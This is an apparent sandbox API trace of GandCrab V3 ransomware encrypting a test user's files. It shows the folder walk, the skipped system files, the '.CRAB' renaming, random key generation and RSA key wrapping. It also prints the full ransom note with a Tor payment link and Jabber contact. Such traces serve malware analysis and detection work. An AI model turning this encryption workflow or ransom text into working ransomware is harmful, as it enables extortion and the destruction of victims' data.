	[0132.034] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0132.034] FindNextFileW (in: hFindFile=0x320dfd0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.034] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0132.034] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0132.034] FindNextFileW (in: hFindFile=0x320dfd0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.034] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0132.034] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0132.034] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt"
	[0132.034] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.034] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt") returned 47
	[0132.035] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt") returned 47
	[0132.035] lstrlenW (lpString=".txt") returned 4
	[0132.035] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.035] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0132.035] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.035] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt") returned 47
	[0132.035] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\CRAB-DECRYPT.txt") returned 47
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0132.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0132.035] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.036] FindNextFileW (in: hFindFile=0x320dfd0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.036] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0132.036] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0132.036] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini"
	[0132.036] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.036] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini") returned 42
	[0132.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini") returned 42
	[0132.036] lstrlenW (lpString=".ini") returned 4
	[0132.036] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.036] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0132.036] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini") returned 42
	[0132.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\desktop.ini") returned 42
	[0132.036] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0132.036] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.037] FindNextFileW (in: hFindFile=0x320dfd0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0132.037] FindClose (in: hFindFile=0x320dfd0 | out: hFindFile=0x320dfd0) returned 1
	[0132.037] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0132.037] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1
	[0132.037] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1
	[0132.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures"
	[0132.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\"
	[0132.037] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0132.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0132.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0132.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0132.037] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0132.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0132.038] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0132.038] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0132.038] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0132.038] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0132.038] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.038] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\\\CRAB-DECRYPT.txt") returned 48
	[0132.038] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0132.038] GetLastError () returned 0x50
	[0132.038] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.038] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned 31
	[0132.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*"
	[0132.038] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x320ded0
	[0132.039] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0132.039] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.039] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0132.039] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0132.039] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.039] lstrcmpW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2=".") returned 1
	[0132.039] lstrcmpW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="..") returned 1
	[0132.039] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="9oBLEamwCGJSHcZBK.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif"
	[0132.039] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.039] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif") returned 52
	[0132.039] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif") returned 52
	[0132.039] lstrlenW (lpString=".gif") returned 4
	[0132.039] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.039] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.040] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.040] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif") returned 52
	[0132.040] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif") returned 52
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="desktop.ini") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="autorun.inf") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="ntuser.dat") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="iconcache.db") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="bootsect.bak") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="boot.ini") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="ntuser.dat.log") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="thumbs.db") returned -1
	[0132.040] lstrcmpiW (lpString1="9oBLEamwCGJSHcZBK.gif", lpString2="CRAB-DECRYPT.txt") returned -1
	[0132.040] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.040] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB") returned 57
	[0132.040] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\9obleamwcgjshczbk.gif")) returned 0x20
	[0132.040] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif", dwFileAttributes=0x20) returned 1
	[0132.041] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\9obleamwcgjshczbk.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\9obleamwcgjshczbk.gif.crab")) returned 1
	[0132.042] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.042] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB"
	[0132.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB.CRAB"
	[0132.042] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0132.045] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.045] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.045] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.045] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0132.045] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.045] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.045] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0132.048] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.048] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.049] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0132.049] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.049] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.049] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.049] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.049] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0132.052] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320e510) returned 1
	[0132.052] CryptGetKeyParam (in: hKey=0x320e510, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0132.052] CryptEncrypt (in: hKey=0x320e510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0132.052] GetLastError () returned 0x0
	[0132.052] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.052] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0132.055] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320e050) returned 1
	[0132.055] CryptGetKeyParam (in: hKey=0x320e050, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0132.055] CryptEncrypt (in: hKey=0x320e050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0132.055] GetLastError () returned 0x0
	[0132.055] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.055] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\9oBLEamwCGJSHcZBK.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\9obleamwcgjshczbk.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0132.056] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.056] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.057] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xa215, lpOverlapped=0x0) returned 1
	[0132.076] VirtualAlloc (lpAddress=0x0, dwSize=0xa220, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.077] VirtualAlloc (lpAddress=0x0, dwSize=0xa220, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.078] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.079] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff5deb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.079] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa220, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xa220, lpOverlapped=0x0) returned 1
	[0132.079] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.080] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.086] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0132.086] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0132.086] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0132.086] CloseHandle (hObject=0x3e8) returned 1
	[0132.086] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.086] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.087] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.087] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.087] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.087] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.088] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0132.088] lstrcmpW (lpString1="AxDg0P", lpString2=".") returned 1
	[0132.088] lstrcmpW (lpString1="AxDg0P", lpString2="..") returned 1
	[0132.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="AxDg0P" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P"
	[0132.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\"
	[0132.088] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0132.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0132.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0132.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0132.088] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0132.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0132.088] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0132.089] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0132.089] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0132.089] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0132.089] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.089] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\\\CRAB-DECRYPT.txt") returned 55
	[0132.089] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0132.090] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0132.090] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0132.091] CloseHandle (hObject=0x3e8) returned 1
	[0132.091] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.091] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\") returned 38
	[0132.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\*"
	[0132.091] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320df10
	[0132.091] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0132.091] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.091] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0132.091] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0132.091] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.091] lstrcmpW (lpString1="5uLKDR9ae", lpString2=".") returned 1
	[0132.091] lstrcmpW (lpString1="5uLKDR9ae", lpString2="..") returned 1
